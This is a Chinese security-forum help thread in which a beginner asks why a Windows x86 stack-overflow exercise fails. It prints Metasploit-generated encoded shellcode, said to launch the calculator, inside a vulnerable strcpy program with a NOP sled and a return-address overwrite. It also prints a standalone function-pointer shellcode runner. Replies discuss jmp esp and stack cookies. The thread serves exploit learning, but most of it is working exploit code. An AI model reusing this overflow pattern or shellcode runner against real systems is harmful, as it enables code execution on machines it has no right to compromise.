首页
社区
课程
招聘
未解决 [求助]新手学Windows x86 的溢出执行shellcode问题
发表于: 2019-3-13 23:07 1793

未解决 [求助]新手学Windows x86 的溢出执行shellcode问题

2019-3-13 23:07
1793
我在调试的的时候发现,只要我替换了shellcode 就不能正常执行了,不知道哪里问题,也看不出个所以然。

环境:
windows 7 sp1 32b位
vc++6.0 green

源码:
#include "stdio.h"
#include "string.h"

char name[] = 
"\xd9\xca\xbf\x19\xde\x0e\xc3\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
"\x31\x31\x7a\x18\x03\x7a\x18\x83\xc2\x1d\x3c\xfb\x3f\xf5\x42"
"\x04\xc0\x05\x23\x8c\x25\x34\x63\xea\x2e\x66\x53\x78\x62\x8a"
"\x18\x2c\x97\x19\x6c\xf9\x98\xaa\xdb\xdf\x97\x2b\x77\x23\xb9"
"\xaf\x8a\x70\x19\x8e\x44\x85\x58\xd7\xb9\x64\x08\x80\xb6\xdb"
"\xbd\xa5\x83\xe7\x36\xf5\x02\x60\xaa\x4d\x24\x41\x7d\xc6\x7f"
"\x41\x7f\x0b\xf4\xc8\x67\x48\x31\x82\x1c\xba\xcd\x15\xf5\xf3"
"\x2e\xb9\x38\x3c\xdd\xc3\x7d\xfa\x3e\xb6\x77\xf9\xc3\xc1\x43"
"\x80\x1f\x47\x50\x22\xeb\xff\xbc\xd3\x38\x99\x37\xdf\xf5\xed"
"\x10\xc3\x08\x21\x2b\xff\x81\xc4\xfc\x76\xd1\xe2\xd8\xd3\x81"
"\x8b\x79\xb9\x64\xb3\x9a\x62\xd8\x11\xd0\x8e\x0d\x28\xbb\xc4"
"\xd0\xbe\xc1\xaa\xd3\xc0\xc9\x9a\xbb\xf1\x42\x75\xbb\x0d\x81"
"\x32\x33\x44\x88\x12\xdc\x01\x58\x27\x81\xb1\xb6\x6b\xbc\x31"
"\x33\x13\x3b\x29\x36\x16\x07\xed\xaa\x6a\x18\x98\xcc\xd9\x19"
"\x89\xae\xbc\x89\x51\x1f\x5b\x2a\xf3\x5f"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90"
"\x48\xfe\x12";
int main()
{
	char buffer[256];
	strcpy(buffer,name);
	printf("%s\n",buffer);
	getchar();
	return 0;
}

求大牛专家略指点一二,小弟感激不敬

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2019-3-14 01:37 被clayses编辑 ,原因: 修改shellcode
收藏
免费 0
支持
分享
最新回复 (7)
雪    币: 634
活跃值: (1184)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
2
你的意思是原shellcode正常?你的shellcode。。。修正过函数吗
2019-3-14 00:49
0
雪    币: 209
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
BDBig 你的意思是原shellcode正常?你的shellcode。。。修正过函数吗
 shellcode呢是用metasploit生成的。我复现的呢是 'AAAA'*N+'BBBB'+JMP ESP+SHELLCODE 这种调用,然后由于后面生成的shell太大会导致shellcode被截断。就尝试着像视频那样把shellcode放在缓冲区然后把eip设置成shellcode的开头地址进行执行。就一直不行。 修复函数这些我不太懂。。我就单独把shellcode独立执行了下发现是可以的
代码:
#include "stdio.h"
#include "string.h"

unsigned char shellcode[] =
"\xd9\xca\xbf\x19\xde\x0e\xc3\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
"\x31\x31\x7a\x18\x03\x7a\x18\x83\xc2\x1d\x3c\xfb\x3f\xf5\x42"
"\x04\xc0\x05\x23\x8c\x25\x34\x63\xea\x2e\x66\x53\x78\x62\x8a"
"\x18\x2c\x97\x19\x6c\xf9\x98\xaa\xdb\xdf\x97\x2b\x77\x23\xb9"
"\xaf\x8a\x70\x19\x8e\x44\x85\x58\xd7\xb9\x64\x08\x80\xb6\xdb"
"\xbd\xa5\x83\xe7\x36\xf5\x02\x60\xaa\x4d\x24\x41\x7d\xc6\x7f"
"\x41\x7f\x0b\xf4\xc8\x67\x48\x31\x82\x1c\xba\xcd\x15\xf5\xf3"
"\x2e\xb9\x38\x3c\xdd\xc3\x7d\xfa\x3e\xb6\x77\xf9\xc3\xc1\x43"
"\x80\x1f\x47\x50\x22\xeb\xff\xbc\xd3\x38\x99\x37\xdf\xf5\xed"
"\x10\xc3\x08\x21\x2b\xff\x81\xc4\xfc\x76\xd1\xe2\xd8\xd3\x81"
"\x8b\x79\xb9\x64\xb3\x9a\x62\xd8\x11\xd0\x8e\x0d\x28\xbb\xc4"
"\xd0\xbe\xc1\xaa\xd3\xc0\xc9\x9a\xbb\xf1\x42\x75\xbb\x0d\x81"
"\x32\x33\x44\x88\x12\xdc\x01\x58\x27\x81\xb1\xb6\x6b\xbc\x31"
"\x33\x13\x3b\x29\x36\x16\x07\xed\xaa\x6a\x18\x98\xcc\xd9\x19"
"\x89\xae\xbc\x89\x51\x1f\x5b\x2a\xf3\x5f";

typedef void (__stdcall *CODE) ();

void RunShellCode_2()  
{  
    ((void(*)(void))&shellcode)();  
}

void main()  
{  
    RunShellCode_2();  
} 


2019-3-14 01:18
0
雪    币: 11394
活跃值: (3391)
能力值: (RANK:520 )
在线值:
发帖
回帖
粉丝
4
你要动态调试一下,用一处指向指令jmp esp的地址覆盖返回地址,然后函数返回时esp要指向shellcode才行。上面的代码函数返回时esp是不指向shellcode的
2019-3-14 10:01
0
雪    币: 209
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
netwind 你要动态调试一下,用一处指向指令jmp esp的地址覆盖返回地址,然后函数返回时esp要指向shellcode才行。上面的代码函数返回时esp是不指向shellcode的
您可以把"\x48\xfe\x12"这段改下。有些系统不一样的shellcode头地址
2019-3-14 12:02
0
雪    币: 209
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
我调试的时候是可以正确的跳至shellcode头但是就是不知道什么问题不能弹出计算机
2019-3-14 12:03
0
雪    币: 7104
活跃值: (3166)
能力值: ( LV4,RANK:52 )
在线值:
发帖
回帖
粉丝
7
好像C++的编译器都会自带栈值检测和栈的安全性检测,我记得好像是叫个Cookie的东西,所以,C++下想着函数溢出我不太了解,还是内联汇编吧
2019-3-14 12:04
0
雪    币: 209
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
不对 好像C++的编译器都会自带栈值检测和栈的安全性检测,我记得好像是叫个Cookie的东西,所以,C++下想着函数溢出我不太了解,还是内联汇编吧
应该不会吧。我的 'AAAA'*N+'BBBB'+JMP ESP+SHELLCODE 这种调用能够成功的。
2019-3-14 12:27
0
游客
登录 | 注册 方可回帖
返回
//